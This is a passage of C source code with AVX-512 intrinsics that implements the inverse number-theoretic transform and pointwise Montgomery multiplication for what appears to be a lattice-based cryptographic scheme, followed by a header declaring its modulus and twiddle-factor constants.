zmm17 = _mm512_add_epi32(zmm8, zmm2);
zmm18 = _mm512_add_epi32(zmm10, zmm2);
zmm15 = _mm512_sub_epi32(zmm15, zmm3);
zmm16 = _mm512_sub_epi32(zmm16, zmm5);
zmm17 = _mm512_sub_epi32(zmm17, zmm7);
zmm18 = _mm512_sub_epi32(zmm18, zmm9);
zmm15 = _mm512_mul_epu32(zmm15, zmm11);
zmm16 = _mm512_mul_epu32(zmm16, zmm12);
zmm17 = _mm512_mul_epu32(zmm17, zmm13);
zmm18 = _mm512_mul_epu32(zmm18, zmm14);
zmm4 = _mm512_add_epi32(zmm3, zmm4);
zmm6 = _mm512_add_epi32(zmm5, zmm6);
zmm8 = _mm512_add_epi32(zmm7, zmm8);
zmm10 = _mm512_add_epi32(zmm9, zmm10);
zmm3 = _mm512_mul_epu32(zmm15, zmm0);
zmm5 = _mm512_mul_epu32(zmm16, zmm0);
zmm7 = _mm512_mul_epu32(zmm17, zmm0);
zmm9 = _mm512_mul_epu32(zmm18, zmm0);
zmm3 = _mm512_mul_epu32(zmm3, zmm1);
zmm5 = _mm512_mul_epu32(zmm5, zmm1);
zmm7 = _mm512_mul_epu32(zmm7, zmm1);
zmm9 = _mm512_mul_epu32(zmm9, zmm1);
zmm3 = _mm512_add_epi64(zmm3, zmm15);
zmm5 = _mm512_add_epi64(zmm5, zmm16);
zmm7 = _mm512_add_epi64(zmm7, zmm17);
zmm9 = _mm512_add_epi64(zmm9, zmm18);
zmm3 = _mm512_srli_epi64(zmm3, 32);
zmm5 = _mm512_srli_epi64(zmm5, 32);
zmm7 = _mm512_srli_epi64(zmm7, 32);
zmm9 = _mm512_srli_epi64(zmm9, 32);
shuffle_512(zmm4, zmm3, zmm17, zmm18, zmm28, zmm29);
shuffle_512(zmm6, zmm5, zmm19, zmm20, zmm28, zmm29);
shuffle_512(zmm8, zmm7, zmm21, zmm22, zmm28, zmm29);
shuffle_512(zmm10, zmm9, zmm23, zmm24, zmm28, zmm29);
zmm11 = _mm512_cvtepu32_epi64(*(z256l + 2));
zmm13 = _mm512_cvtepu32_epi64(*(z256h + 2));
shuffle_512(zmm11, zmm11, zmm4, zmm5, zmm28, zmm29);
shuffle_512(zmm13, zmm13, zmm6, zmm7, zmm28, zmm29);
cpp_batterfly_inv512_macro(
zmm4, zmm5, zmm6, zmm7,
zmm17, zmm19, zmm21, zmm23,
zmm18, zmm20, zmm22, zmm24);
zmm11 = _mm512_cvtepu32_epi64(*(z256l + 3));
zmm13 = _mm512_cvtepu32_epi64(*(z256h + 3));
shuffle_512(zmm11, zmm11, zmm4, zmm5, zmm28, zmm29);
shuffle_512(zmm13, zmm13, zmm6, zmm7, zmm28, zmm29);
cpp_batterfly_inv512_macro(
zmm4, zmm4, zmm6, zmm6,
zmm17, zmm18, zmm21, zmm22,
zmm19, zmm20, zmm23, zmm24);
//level3:
shuffle_512(zmm17, zmm18, zmm3, zmm4, zmm26, zmm27);
shuffle_512(zmm21, zmm22, zmm5, zmm6, zmm26, zmm27);
shuffle_512(zmm19, zmm20, zmm7, zmm8, zmm26, zmm27);
shuffle_512(zmm23, zmm24, zmm9, zmm10, zmm26, zmm27);
zmm12 = const11_512;
zmm17 = _mm512_loadu_si512((const __m128i*)(zetas_inv + 28));
zmm18 = _mm512_loadu_si512((const __m128i*)(zetas_inv + 28 + 31));
zmm11 = _mm512_permutex2var_epi32(zmm17, zmm12, zmm17);
zmm12 = _mm512_permutex2var_epi32(zmm18, zmm12, zmm18);
cpp_batterfly_inv512_macro(
zmm11, zmm11, zmm12, zmm12,
zmm3, zmm7, zmm5, zmm9,
zmm4, zmm8, zmm6, zmm10);
// level 4
zmm26 = const10_512;
zmm27 = const10_512_;
shuffle_512(zmm3, zmm7, zmm20, zmm21, zmm26, zmm27);
shuffle_512(zmm5, zmm9, zmm22, zmm23, zmm26, zmm27);
shuffle_512(zmm4, zmm8, zmm3, zmm7, zmm26, zmm27);
shuffle_512(zmm6, zmm10, zmm5, zmm9, zmm26, zmm27);
zj1 = _mm_loadu_si128((const __m128i*)(zetas_inv + 30));
zmm11 = _mm512_broadcastd_epi32(zj1);
zj2 = _mm_loadu_si128((const __m128i*)(zetas_inv + 61));
zmm12 = _mm512_broadcastd_epi32(zj2);
cpp_batterfly_inv512_macro(
zmm11, zmm11, zmm12, zmm12,
zmm20, zmm3, zmm22, zmm5,
zmm21, zmm7, zmm23, zmm9);
_mm512_store_si512(tmp512, zmm20);
_mm512_store_si512(tmp512 + 1, zmm3);
_mm512_store_si512(tmp512 + 2, zmm21);
_mm512_store_si512(tmp512 + 3, zmm7);
_mm512_store_si512(tmp512 + 4, zmm22);
_mm512_store_si512(tmp512 + 5, zmm5);
_mm512_store_si512(tmp512 + 6, zmm23);
_mm512_store_si512(tmp512 + 7, zmm9);
src512 += 4;
tmp512 += 8;
zetas_inv += 62;
}
{
__m512i* dest512 = (__m512i*)dest;
tmp512 = (__m512i*)tmp;
zmm3 = _mm512_load_si512((const __m512i*)_8xdiv_512);
zj256 = _mm256_load_si256((const __m256i*)zetas_inv);
zj1 = _mm256_extractf128_si256(zj256, 0);
zj2 = _mm256_extractf128_si256(zj256, 1);
zmm31 = _mm512_broadcastd_epi32(zj1);
zj1 = _mm_alignr_epi32(zj1, zj1, 1);
zmm30 = _mm512_broadcastd_epi32(zj1);
zj1 = _mm_alignr_epi32(zj1, zj1, 1);
zmm29 = _mm512_broadcastd_epi32(zj1);
zj1 = _mm_alignr_epi32(zj1, zj1, 1);
zmm28 = _mm512_broadcastd_epi32(zj1);
zmm27 = _mm512_broadcastd_epi32(zj2);
zj2 = _mm_alignr_epi32(zj2, zj2, 1);
zmm26 = _mm512_broadcastd_epi32(zj2);
zj2 = _mm_alignr_epi32(zj2, zj2, 1);
zmm25 = _mm512_broadcastd_epi32(zj2);
for (i = 0; i < 2; i++)
{
zmm4 = _mm512_load_si512(tmp512);
zmm5 = _mm512_load_si512(tmp512 + 4);
zmm6 = _mm512_load_si512(tmp512 + 8);
zmm7 = _mm512_load_si512(tmp512 + 12);
zmm8 = _mm512_load_si512(tmp512 + 16);
zmm9 = _mm512_load_si512(tmp512 + 20);
zmm10 = _mm512_load_si512(tmp512 + 24);
zmm11 = _mm512_load_si512(tmp512 + 28);
//level5:
zmm13 = _mm512_add_epi32(zmm4, zmm2);
zmm14 = _mm512_add_epi32(zmm6, zmm2);
zmm15 = _mm512_add_epi32(zmm8, zmm2);
zmm16 = _mm512_add_epi32(zmm10, zmm2);
zmm13 = _mm512_sub_epi32(zmm13, zmm5);
zmm14 = _mm512_sub_epi32(zmm14, zmm7);
zmm15 = _mm512_sub_epi32(zmm15, zmm9);
zmm16 = _mm512_sub_epi32(zmm16, zmm11);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm30);
zmm15 = _mm512_mul_epu32(zmm15, zmm29);
zmm16 = _mm512_mul_epu32(zmm16, zmm28);
zmm4 = _mm512_add_epi32(zmm5, zmm4);
zmm6 = _mm512_add_epi32(zmm7, zmm6);
zmm8 = _mm512_add_epi32(zmm9, zmm8);
zmm10 = _mm512_add_epi32(zmm11, zmm10);
zmm5 = _mm512_mul_epu32(zmm13, zmm0);
zmm7 = _mm512_mul_epu32(zmm14, zmm0);
zmm9 = _mm512_mul_epu32(zmm15, zmm0);
zmm11 = _mm512_mul_epu32(zmm16, zmm0);
zmm5 = _mm512_mul_epu32(zmm5, zmm1);
zmm7 = _mm512_mul_epu32(zmm7, zmm1);
zmm9 = _mm512_mul_epu32(zmm9, zmm1);
zmm11 = _mm512_mul_epu32(zmm11, zmm1);
zmm5 = _mm512_add_epi64(zmm5, zmm13);
zmm7 = _mm512_add_epi64(zmm7, zmm14);
zmm9 = _mm512_add_epi64(zmm9, zmm15);
zmm11 = _mm512_add_epi64(zmm11, zmm16);
zmm5 = _mm512_srli_epi64(zmm5, 32);
zmm7 = _mm512_srli_epi64(zmm7, 32);
zmm9 = _mm512_srli_epi64(zmm9, 32);
zmm11 = _mm512_srli_epi64(zmm11, 32);
//level6:
shuffle_512(zmm4, zmm5, zmm18, zmm19, const6_512, const6_512_);
shuffle_512(zmm6, zmm7, zmm20, zmm21, const6_512, const6_512_);
shuffle_512(zmm8, zmm9, zmm4, zmm5, const6_512, const6_512_);
shuffle_512(zmm10, zmm11, zmm6, zmm7, const6_512, const6_512_);
cpp_batterfly_inv512_macro(
zmm27, zmm26, zmm27, zmm26,
zmm18, zmm4, zmm19, zmm5,
zmm20, zmm6, zmm21, zmm7);
cpp_batterfly_inv512_macro(
zmm25, zmm25, zmm25, zmm25,
zmm18, zmm20, zmm19, zmm21,
zmm4, zmm6, zmm5, zmm7);
zmm18 = _mm512_mul_epu32(zmm18, zmm3);
zmm20 = _mm512_mul_epu32(zmm20, zmm3);
zmm19 = _mm512_mul_epu32(zmm19, zmm3);
zmm21 = _mm512_mul_epu32(zmm21, zmm3);
zmm12 = _mm512_mul_epu32(zmm18, zmm0);
zmm22 = _mm512_mul_epu32(zmm20, zmm0);
zmm23 = _mm512_mul_epu32(zmm19, zmm0);
zmm24 = _mm512_mul_epu32(zmm21, zmm0);
zmm12 = _mm512_mul_epu32(zmm12, zmm1);
zmm22 = _mm512_mul_epu32(zmm22, zmm1);
zmm23 = _mm512_mul_epu32(zmm23, zmm1);
zmm24 = _mm512_mul_epu32(zmm24, zmm1);
zmm18 = _mm512_add_epi64(zmm18, zmm12);
zmm20 = _mm512_add_epi64(zmm20, zmm22);
zmm19 = _mm512_add_epi64(zmm19, zmm23);
zmm21 = _mm512_add_epi64(zmm21, zmm24);
zmm12 = _mm512_permutex2var_epi32(zmm18, const13_512, zmm19);
zmm22 = _mm512_permutex2var_epi32(zmm20, const13_512, zmm21);
zmm23 = _mm512_permutex2var_epi32(zmm4, const14_512, zmm5);
zmm24 = _mm512_permutex2var_epi32(zmm6, const14_512, zmm7);
zmm4 = _mm512_load_si512(tmp512 + 1);
zmm5 = _mm512_load_si512(tmp512 + 5);
zmm6 = _mm512_load_si512(tmp512 + 9);
zmm7 = _mm512_load_si512(tmp512 + 13);
zmm8 = _mm512_load_si512(tmp512 + 17);
zmm9 = _mm512_load_si512(tmp512 + 21);
zmm10 = _mm512_load_si512(tmp512 + 25);
zmm11 = _mm512_load_si512(tmp512 + 29);
//level5:
zmm13 = _mm512_add_epi32(zmm4, zmm2);
zmm14 = _mm512_add_epi32(zmm6, zmm2);
zmm15 = _mm512_add_epi32(zmm8, zmm2);
zmm16 = _mm512_add_epi32(zmm10, zmm2);
zmm13 = _mm512_sub_epi32(zmm13, zmm5);
zmm14 = _mm512_sub_epi32(zmm14, zmm7);
zmm15 = _mm512_sub_epi32(zmm15, zmm9);
zmm16 = _mm512_sub_epi32(zmm16, zmm11);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm30);
zmm15 = _mm512_mul_epu32(zmm15, zmm29);
zmm16 = _mm512_mul_epu32(zmm16, zmm28);
zmm4 = _mm512_add_epi32(zmm5, zmm4);
zmm6 = _mm512_add_epi32(zmm7, zmm6);
zmm8 = _mm512_add_epi32(zmm9, zmm8);
zmm10 = _mm512_add_epi32(zmm11, zmm10);
zmm5 = _mm512_mul_epu32(zmm13, zmm0);
zmm7 = _mm512_mul_epu32(zmm14, zmm0);
zmm9 = _mm512_mul_epu32(zmm15, zmm0);
zmm11 = _mm512_mul_epu32(zmm16, zmm0);
zmm5 = _mm512_mul_epu32(zmm5, zmm1);
zmm7 = _mm512_mul_epu32(zmm7, zmm1);
zmm9 = _mm512_mul_epu32(zmm9, zmm1);
zmm11 = _mm512_mul_epu32(zmm11, zmm1);
zmm5 = _mm512_add_epi64(zmm5, zmm13);
zmm7 = _mm512_add_epi64(zmm7, zmm14);
zmm9 = _mm512_add_epi64(zmm9, zmm15);
zmm11 = _mm512_add_epi64(zmm11, zmm16);
zmm5 = _mm512_srli_epi64(zmm5, 32);
zmm7 = _mm512_srli_epi64(zmm7, 32);
zmm9 = _mm512_srli_epi64(zmm9, 32);
zmm11 = _mm512_srli_epi64(zmm11, 32);
//level6:
shuffle_512(zmm4, zmm5, zmm18, zmm19, const6_512, const6_512_);
shuffle_512(zmm6, zmm7, zmm20, zmm21, const6_512, const6_512_);
shuffle_512(zmm8, zmm9, zmm4, zmm5, const6_512, const6_512_);
shuffle_512(zmm10, zmm11, zmm6, zmm7, const6_512, const6_512_);
cpp_batterfly_inv512_macro(
zmm27, zmm26, zmm27, zmm26,
zmm18, zmm4, zmm19, zmm5,
zmm20, zmm6, zmm21, zmm7);
cpp_batterfly_inv512_macro(
zmm25, zmm25, zmm25, zmm25,
zmm18, zmm20, zmm19, zmm21,
zmm4, zmm6, zmm5, zmm7);
zmm18 = _mm512_mul_epu32(zmm18, zmm3);
zmm20 = _mm512_mul_epu32(zmm20, zmm3);
zmm19 = _mm512_mul_epu32(zmm19, zmm3);
zmm21 = _mm512_mul_epu32(zmm21, zmm3);
zmm8 = _mm512_mul_epu32(zmm18, zmm0);
zmm9 = _mm512_mul_epu32(zmm20, zmm0);
zmm10 = _mm512_mul_epu32(zmm19, zmm0);
zmm11 = _mm512_mul_epu32(zmm21, zmm0);
zmm8 = _mm512_mul_epu32(zmm8, zmm1);
zmm9 = _mm512_mul_epu32(zmm9, zmm1);
zmm10 = _mm512_mul_epu32(zmm10, zmm1);
zmm11 = _mm512_mul_epu32(zmm11, zmm1);
zmm18 = _mm512_add_epi64(zmm18, zmm8);
zmm20 = _mm512_add_epi64(zmm20, zmm9);
zmm19 = _mm512_add_epi64(zmm19, zmm10);
zmm21 = _mm512_add_epi64(zmm21, zmm11);
zmm8 = _mm512_permutex2var_epi32(zmm18, const13_512, zmm19);
zmm9 = _mm512_permutex2var_epi32(zmm20, const13_512, zmm21);
zmm10 = _mm512_permutex2var_epi32(zmm4, const14_512, zmm5);
zmm11 = _mm512_permutex2var_epi32(zmm6, const14_512, zmm7);
zmm14 = _mm512_permutex2var_epi64(zmm12, const6_512, zmm8);
zmm15 = _mm512_permutex2var_epi64(zmm12, const6_512_, zmm8);
zmm16 = _mm512_permutex2var_epi64(zmm22, const6_512, zmm9);
zmm17 = _mm512_permutex2var_epi64(zmm22, const6_512_, zmm9);
zmm12 = _mm512_permutex2var_epi64(zmm23, const6_512, zmm10);
zmm8 = _mm512_permutex2var_epi64(zmm23, const6_512_, zmm10);
zmm22 = _mm512_permutex2var_epi64(zmm24, const6_512, zmm11);
zmm9 = _mm512_permutex2var_epi64(zmm24, const6_512_, zmm11);
_mm512_store_si512(dest512, zmm14);
_mm512_store_si512(dest512 + 2, zmm15);
_mm512_store_si512(dest512 + 4, zmm16);
_mm512_store_si512(dest512 + 6, zmm17);
_mm512_store_si512(dest512 + 8, zmm12);
_mm512_store_si512(dest512 + 10, zmm8);
_mm512_store_si512(dest512 + 12, zmm22);
_mm512_store_si512(dest512 + 14, zmm9);
tmp512 += 2;
dest512++;
}
}
}
void new_pointwise_mul_512_cpp(uint32_t* c, const uint32_t* a, const uint32_t* b)
{
__m512i zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7,
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15,
zmm30, zmm31;
__m512i* a512 = (__m512i*)a, * b512 = (__m512i*)b, * c512 = (__m512i*)c;
zmm30 = _mm512_load_si512((__m512i*)_8xqinv_512);
zmm31 = _mm512_load_si512((__m512i*)_8xq_512);
zmm0 = _mm512_load_si512(a512);
zmm2 = _mm512_load_si512(a512 + 1);
zmm4 = _mm512_load_si512(a512 + 2);
zmm6 = _mm512_load_si512(a512 + 3);
zmm8 = _mm512_load_si512(b512);
zmm10 = _mm512_load_si512(b512 + 1);
zmm12 = _mm512_load_si512(b512 + 2);
zmm14 = _mm512_load_si512(b512 + 3);
zmm1 = _mm512_srli_epi64(zmm0, 32);
zmm3 = _mm512_srli_epi64(zmm2, 32);
zmm5 = _mm512_srli_epi64(zmm4, 32);
zmm7 = _mm512_srli_epi64(zmm6, 32);
zmm9 = _mm512_srli_epi64(zmm8, 32);
zmm11 = _mm512_srli_epi64(zmm10, 32);
zmm13 = _mm512_srli_epi64(zmm12, 32);
zmm15 = _mm512_srli_epi64(zmm14, 32);
zmm0 = _mm512_mul_epu32(zmm8, zmm0);
zmm1 = _mm512_mul_epu32(zmm9, zmm1);
zmm2 = _mm512_mul_epu32(zmm10, zmm2);
zmm3 = _mm512_mul_epu32(zmm11, zmm3);
zmm4 = _mm512_mul_epu32(zmm12, zmm4);
zmm5 = _mm512_mul_epu32(zmm13, zmm5);
zmm6 = _mm512_mul_epu32(zmm14, zmm6);
zmm7 = _mm512_mul_epu32(zmm15, zmm7);
zmm8 = _mm512_mul_epu32(zmm0, zmm30);
zmm9 = _mm512_mul_epu32(zmm1, zmm30);
zmm10 = _mm512_mul_epu32(zmm2, zmm30);
zmm11 = _mm512_mul_epu32(zmm3, zmm30);
zmm12 = _mm512_mul_epu32(zmm4, zmm30);
zmm13 = _mm512_mul_epu32(zmm5, zmm30);
zmm14 = _mm512_mul_epu32(zmm6, zmm30);
zmm15 = _mm512_mul_epu32(zmm7, zmm30);
zmm8 = _mm512_mul_epu32(zmm8, zmm31);
zmm9 = _mm512_mul_epu32(zmm9, zmm31);
zmm10 = _mm512_mul_epu32(zmm10, zmm31);
zmm11 = _mm512_mul_epu32(zmm11, zmm31);
zmm12 = _mm512_mul_epu32(zmm12, zmm31);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm31);
zmm15 = _mm512_mul_epu32(zmm15, zmm31);
zmm0 = _mm512_add_epi64(zmm8, zmm0);
zmm1 = _mm512_add_epi64(zmm9, zmm1);
zmm2 = _mm512_add_epi64(zmm10, zmm2);
zmm3 = _mm512_add_epi64(zmm11, zmm3);
zmm4 = _mm512_add_epi64(zmm12, zmm4);
zmm5 = _mm512_add_epi64(zmm13, zmm5);
zmm6 = _mm512_add_epi64(zmm14, zmm6);
zmm7 = _mm512_add_epi64(zmm15, zmm7);
zmm0 = _mm512_srli_epi64(zmm0, 32);
zmm2 = _mm512_srli_epi64(zmm2, 32);
zmm4 = _mm512_srli_epi64(zmm4, 32);
zmm6 = _mm512_srli_epi64(zmm6, 32);
zmm0 = _mm512_mask_blend_epi32(0x5555, zmm1, zmm0);
zmm2 = _mm512_mask_blend_epi32(0x5555, zmm3, zmm2);
zmm4 = _mm512_mask_blend_epi32(0x5555, zmm5, zmm4);
zmm6 = _mm512_mask_blend_epi32(0x5555, zmm7, zmm6);
_mm512_store_si512(c512, zmm0);
_mm512_store_si512(c512 + 1, zmm2);
_mm512_store_si512(c512 + 2, zmm4);
_mm512_store_si512(c512 + 3, zmm6);
c512 += 4;
b512 += 4;
a512 += 4;
zmm0 = _mm512_load_si512(a512);
zmm2 = _mm512_load_si512(a512 + 1);
zmm4 = _mm512_load_si512(a512 + 2);
zmm6 = _mm512_load_si512(a512 + 3);
zmm8 = _mm512_load_si512(b512);
zmm10 = _mm512_load_si512(b512 + 1);
zmm12 = _mm512_load_si512(b512 + 2);
zmm14 = _mm512_load_si512(b512 + 3);
zmm1 = _mm512_srli_epi64(zmm0, 32);
zmm3 = _mm512_srli_epi64(zmm2, 32);
zmm5 = _mm512_srli_epi64(zmm4, 32);
zmm7 = _mm512_srli_epi64(zmm6, 32);
zmm9 = _mm512_srli_epi64(zmm8, 32);
zmm11 = _mm512_srli_epi64(zmm10, 32);
zmm13 = _mm512_srli_epi64(zmm12, 32);
zmm15 = _mm512_srli_epi64(zmm14, 32);
zmm0 = _mm512_mul_epu32(zmm8, zmm0);
zmm1 = _mm512_mul_epu32(zmm9, zmm1);
zmm2 = _mm512_mul_epu32(zmm10, zmm2);
zmm3 = _mm512_mul_epu32(zmm11, zmm3);
zmm4 = _mm512_mul_epu32(zmm12, zmm4);
zmm5 = _mm512_mul_epu32(zmm13, zmm5);
zmm6 = _mm512_mul_epu32(zmm14, zmm6);
zmm7 = _mm512_mul_epu32(zmm15, zmm7);
zmm8 = _mm512_mul_epu32(zmm0, zmm30);
zmm9 = _mm512_mul_epu32(zmm1, zmm30);
zmm10 = _mm512_mul_epu32(zmm2, zmm30);
zmm11 = _mm512_mul_epu32(zmm3, zmm30);
zmm12 = _mm512_mul_epu32(zmm4, zmm30);
zmm13 = _mm512_mul_epu32(zmm5, zmm30);
zmm14 = _mm512_mul_epu32(zmm6, zmm30);
zmm15 = _mm512_mul_epu32(zmm7, zmm30);
zmm8 = _mm512_mul_epu32(zmm8, zmm31);
zmm9 = _mm512_mul_epu32(zmm9, zmm31);
zmm10 = _mm512_mul_epu32(zmm10, zmm31);
zmm11 = _mm512_mul_epu32(zmm11, zmm31);
zmm12 = _mm512_mul_epu32(zmm12, zmm31);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm31);
zmm15 = _mm512_mul_epu32(zmm15, zmm31);
zmm0 = _mm512_add_epi64(zmm8, zmm0);
zmm1 = _mm512_add_epi64(zmm9, zmm1);
zmm2 = _mm512_add_epi64(zmm10, zmm2);
zmm3 = _mm512_add_epi64(zmm11, zmm3);
zmm4 = _mm512_add_epi64(zmm12, zmm4);
zmm5 = _mm512_add_epi64(zmm13, zmm5);
zmm6 = _mm512_add_epi64(zmm14, zmm6);
zmm7 = _mm512_add_epi64(zmm15, zmm7);
zmm0 = _mm512_srli_epi64(zmm0, 32);
zmm2 = _mm512_srli_epi64(zmm2, 32);
zmm4 = _mm512_srli_epi64(zmm4, 32);
zmm6 = _mm512_srli_epi64(zmm6, 32);
zmm0 = _mm512_mask_blend_epi32(0x5555, zmm1, zmm0);
zmm2 = _mm512_mask_blend_epi32(0x5555, zmm3, zmm2);
zmm4 = _mm512_mask_blend_epi32(0x5555, zmm5, zmm4);
zmm6 = _mm512_mask_blend_epi32(0x5555, zmm7, zmm6);
_mm512_store_si512(c512, zmm0);
_mm512_store_si512(c512 + 1, zmm2);
_mm512_store_si512(c512 + 2, zmm4);
_mm512_store_si512(c512 + 3, zmm6);
c512 += 4;
b512 += 4;
a512 += 4;
zmm0 = _mm512_load_si512(a512);
zmm2 = _mm512_load_si512(a512 + 1);
zmm4 = _mm512_load_si512(a512 + 2);
zmm6 = _mm512_load_si512(a512 + 3);
zmm8 = _mm512_load_si512(b512);
zmm10 = _mm512_load_si512(b512 + 1);
zmm12 = _mm512_load_si512(b512 + 2);
zmm14 = _mm512_load_si512(b512 + 3);
zmm1 = _mm512_srli_epi64(zmm0, 32);
zmm3 = _mm512_srli_epi64(zmm2, 32);
zmm5 = _mm512_srli_epi64(zmm4, 32);
zmm7 = _mm512_srli_epi64(zmm6, 32);
zmm9 = _mm512_srli_epi64(zmm8, 32);
zmm11 = _mm512_srli_epi64(zmm10, 32);
zmm13 = _mm512_srli_epi64(zmm12, 32);
zmm15 = _mm512_srli_epi64(zmm14, 32);
zmm0 = _mm512_mul_epu32(zmm8, zmm0);
zmm1 = _mm512_mul_epu32(zmm9, zmm1);
zmm2 = _mm512_mul_epu32(zmm10, zmm2);
zmm3 = _mm512_mul_epu32(zmm11, zmm3);
zmm4 = _mm512_mul_epu32(zmm12, zmm4);
zmm5 = _mm512_mul_epu32(zmm13, zmm5);
zmm6 = _mm512_mul_epu32(zmm14, zmm6);
zmm7 = _mm512_mul_epu32(zmm15, zmm7);
zmm8 = _mm512_mul_epu32(zmm0, zmm30);
zmm9 = _mm512_mul_epu32(zmm1, zmm30);
zmm10 = _mm512_mul_epu32(zmm2, zmm30);
zmm11 = _mm512_mul_epu32(zmm3, zmm30);
zmm12 = _mm512_mul_epu32(zmm4, zmm30);
zmm13 = _mm512_mul_epu32(zmm5, zmm30);
zmm14 = _mm512_mul_epu32(zmm6, zmm30);
zmm15 = _mm512_mul_epu32(zmm7, zmm30);
zmm8 = _mm512_mul_epu32(zmm8, zmm31);
zmm9 = _mm512_mul_epu32(zmm9, zmm31);
zmm10 = _mm512_mul_epu32(zmm10, zmm31);
zmm11 = _mm512_mul_epu32(zmm11, zmm31);
zmm12 = _mm512_mul_epu32(zmm12, zmm31);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm31);
zmm15 = _mm512_mul_epu32(zmm15, zmm31);
zmm0 = _mm512_add_epi64(zmm8, zmm0);
zmm1 = _mm512_add_epi64(zmm9, zmm1);
zmm2 = _mm512_add_epi64(zmm10, zmm2);
zmm3 = _mm512_add_epi64(zmm11, zmm3);
zmm4 = _mm512_add_epi64(zmm12, zmm4);
zmm5 = _mm512_add_epi64(zmm13, zmm5);
zmm6 = _mm512_add_epi64(zmm14, zmm6);
zmm7 = _mm512_add_epi64(zmm15, zmm7);
zmm0 = _mm512_srli_epi64(zmm0, 32);
zmm2 = _mm512_srli_epi64(zmm2, 32);
zmm4 = _mm512_srli_epi64(zmm4, 32);
zmm6 = _mm512_srli_epi64(zmm6, 32);
zmm0 = _mm512_mask_blend_epi32(0x5555, zmm1, zmm0);
zmm2 = _mm512_mask_blend_epi32(0x5555, zmm3, zmm2);
zmm4 = _mm512_mask_blend_epi32(0x5555, zmm5, zmm4);
zmm6 = _mm512_mask_blend_epi32(0x5555, zmm7, zmm6);
_mm512_store_si512(c512, zmm0);
_mm512_store_si512(c512 + 1, zmm2);
_mm512_store_si512(c512 + 2, zmm4);
_mm512_store_si512(c512 + 3, zmm6);
c512 += 4;
b512 += 4;
a512 += 4;
zmm0 = _mm512_load_si512(a512);
zmm2 = _mm512_load_si512(a512 + 1);
zmm4 = _mm512_load_si512(a512 + 2);
zmm6 = _mm512_load_si512(a512 + 3);
zmm8 = _mm512_load_si512(b512);
zmm10 = _mm512_load_si512(b512 + 1);
zmm12 = _mm512_load_si512(b512 + 2);
zmm14 = _mm512_load_si512(b512 + 3);
zmm1 = _mm512_srli_epi64(zmm0, 32);
zmm3 = _mm512_srli_epi64(zmm2, 32);
zmm5 = _mm512_srli_epi64(zmm4, 32);
zmm7 = _mm512_srli_epi64(zmm6, 32);
zmm9 = _mm512_srli_epi64(zmm8, 32);
zmm11 = _mm512_srli_epi64(zmm10, 32);
zmm13 = _mm512_srli_epi64(zmm12, 32);
zmm15 = _mm512_srli_epi64(zmm14, 32);
zmm0 = _mm512_mul_epu32(zmm8, zmm0);
zmm1 = _mm512_mul_epu32(zmm9, zmm1);
zmm2 = _mm512_mul_epu32(zmm10, zmm2);
zmm3 = _mm512_mul_epu32(zmm11, zmm3);
zmm4 = _mm512_mul_epu32(zmm12, zmm4);
zmm5 = _mm512_mul_epu32(zmm13, zmm5);
zmm6 = _mm512_mul_epu32(zmm14, zmm6);
zmm7 = _mm512_mul_epu32(zmm15, zmm7);
zmm8 = _mm512_mul_epu32(zmm0, zmm30);
zmm9 = _mm512_mul_epu32(zmm1, zmm30);
zmm10 = _mm512_mul_epu32(zmm2, zmm30);
zmm11 = _mm512_mul_epu32(zmm3, zmm30);
zmm12 = _mm512_mul_epu32(zmm4, zmm30);
zmm13 = _mm512_mul_epu32(zmm5, zmm30);
zmm14 = _mm512_mul_epu32(zmm6, zmm30);
zmm15 = _mm512_mul_epu32(zmm7, zmm30);
zmm8 = _mm512_mul_epu32(zmm8, zmm31);
zmm9 = _mm512_mul_epu32(zmm9, zmm31);
zmm10 = _mm512_mul_epu32(zmm10, zmm31);
zmm11 = _mm512_mul_epu32(zmm11, zmm31);
zmm12 = _mm512_mul_epu32(zmm12, zmm31);
zmm13 = _mm512_mul_epu32(zmm13, zmm31);
zmm14 = _mm512_mul_epu32(zmm14, zmm31);
zmm15 = _mm512_mul_epu32(zmm15, zmm31);
zmm0 = _mm512_add_epi64(zmm8, zmm0);
zmm1 = _mm512_add_epi64(zmm9, zmm1);
zmm2 = _mm512_add_epi64(zmm10, zmm2);
zmm3 = _mm512_add_epi64(zmm11, zmm3);
zmm4 = _mm512_add_epi64(zmm12, zmm4);
zmm5 = _mm512_add_epi64(zmm13, zmm5);
zmm6 = _mm512_add_epi64(zmm14, zmm6);
zmm7 = _mm512_add_epi64(zmm15, zmm7);
zmm0 = _mm512_srli_epi64(zmm0, 32);
zmm2 = _mm512_srli_epi64(zmm2, 32);
zmm4 = _mm512_srli_epi64(zmm4, 32);
zmm6 = _mm512_srli_epi64(zmm6, 32);
zmm0 = _mm512_mask_blend_epi32(0x5555, zmm1, zmm0);
zmm2 = _mm512_mask_blend_epi32(0x5555, zmm3, zmm2);
zmm4 = _mm512_mask_blend_epi32(0x5555, zmm5, zmm4);
zmm6 = _mm512_mask_blend_epi32(0x5555, zmm7, zmm6);
_mm512_store_si512(c512, zmm0);
_mm512_store_si512(c512 + 1, zmm2);
_mm512_store_si512(c512 + 2, zmm4);
_mm512_store_si512(c512 + 3, zmm6);
}
<file_sep>#ifndef _const_h
#define _const_h
#include <stdint.h>
#include "parameters.h"
#include "align64.h"
extern uint32_t _8xqinv[];
extern uint32_t _8xq[];
extern uint32_t _8xqinv_512[];
extern uint32_t _8xq_512[];
extern uint32_t _8xq_1[8];
extern uint32_t _8x256q[];
extern uint32_t _8x256q_512[];
extern uint32_t _8x2q[];
extern uint32_t _8x2q_512[];
extern const uint32_t _8x_one_shl_D[];
extern const uint32_t _8x_one_shl_D_1[];
extern const uint32_t _8x_one_shl_D_1_plus_1[];
extern const uint32_t _8x_one_shl_D_1_minus_1[];
extern uint32_t _8x_7FFFFF[];
extern uint64_t _f;
extern uint32_t _mask[];
extern uint32_t __mask[];
extern const uint32_t zetas[];
extern const uint32_t zetas_[];
extern const uint32_t zetas_inv[];
extern const uint32_t zetas_inv_[];
extern const uint32_t new_zetas_inv[];
extern const uint32_t _8xdiv[];
